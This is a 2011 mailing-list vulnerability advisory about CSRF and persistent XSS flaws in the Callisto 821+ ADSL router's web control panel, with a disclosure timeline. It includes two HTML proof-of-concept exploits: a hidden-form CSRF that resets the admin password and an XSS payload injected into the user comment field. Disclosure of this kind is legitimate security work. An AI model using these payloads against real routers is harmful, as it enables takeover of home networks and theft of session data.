Hello list!
I want to warn you about security vulnerabilities in ADSL modem Callisto
821+ (SI2000 Callisto821+ Router).
These are Cross-Site Request Forgery and Cross-Site Scripting
vulnerabilities. In April I've already drew attention of Ukrtelecom's
representative (and this modem was bough at Ukrtelecom) about multiple
vulnerabilities in this model of Callisto modems (and other models also
could be affected).
SecurityVulns ID: 11700.
-------------------------
Affected products:
-------------------------
Vulnerable is the next model: SI2000 Callisto821+ Router: X7821 Annex A
v1.0.0.0 / Argon 4x1 CSP v1.0 (ISOS 9.0) [4.3.4-5.1]. This model with other
firmware and also other models of Callisto also must be vulnerable.
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Details:
----------
These attacks should be conducted on modem owner, which is logged into
control panel. Taking into account that it's unlikely to catch him in this
state, then it's possible to use before-mentioned vulnerabilities
(http://websecurity.com.ua/5161/) for conducting of remote login (for
logining him into control panel). After that it's possible to conduct CSRF
or XSS attack.
CSRF (WASC-09):
This vulnerability allows to change password of default user.
http://websecurity.com.ua/uploads/2011/Callisto%20821+%20CSRF.html
<html>
<head>
<title>Callisto 821+ CSRF exploit (C) 2011 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://192.168.1.1/configuration/auth_edit_user.html/edit" method="post">
<input type="hidden" name="EmWeb_ns:vim:3" value="/configuration/authentication.html">
<input type="hidden" name="EmWeb_ns:vim:2.ImUsers.qe1dg7bm:password" value="password">
<input type="hidden" name="EmWeb_ns:vim:2.ImUsers.qe1dg7bm:mayConfigure" value="true">
<input type="hidden" name="EmWeb_ns:vim:2.ImUsers.qe1dg7bm:comment" value="Default admin user">
</form>
</body>
</html>
XSS (WASC-08):
In this form there are also two persistent XSS vulnerabilities.
http://websecurity.com.ua/uploads/2011/Callisto%20821+%20XSS.html
<html>
<head>
<title>Callisto 821+ XSS exploit (C) 2011 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://192.168.1.1/configuration/auth_edit_user.html/edit" method="post">
<input type="hidden" name="EmWeb_ns:vim:3" value="/configuration/authentication.html">
<input type="hidden" name="EmWeb_ns:vim:2.ImUsers.qe1dg7bm:password" value="password">
<input type="hidden" name="EmWeb_ns:vim:2.ImUsers.qe1dg7bm:mayConfigure" value="true">
<input type="hidden" name="EmWeb_ns:vim:2.ImUsers.qe1dg7bm:comment" value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
In this case the code will be executed immediately, and also at visiting of
pages http://192.168.1.1/system/events.html and
http://192.168.1.1/shared/event_log_selection.html.
http://websecurity.com.ua/uploads/2011/Callisto%20821+%20XSS2.html
In this case the code will be executed immediately, and also at visiting of
page http://192.168.1.1/configuration/authentication.html.
------------
Timeline:
------------
2011.04.14 - informed Ukrtelecom about multiple vulnerabilities in modems,
which they give (sell) to their clients.
2011.05.25 - disclosed at my site.
2011.05.26 - informed developers (Iskratel).
I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/5165/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
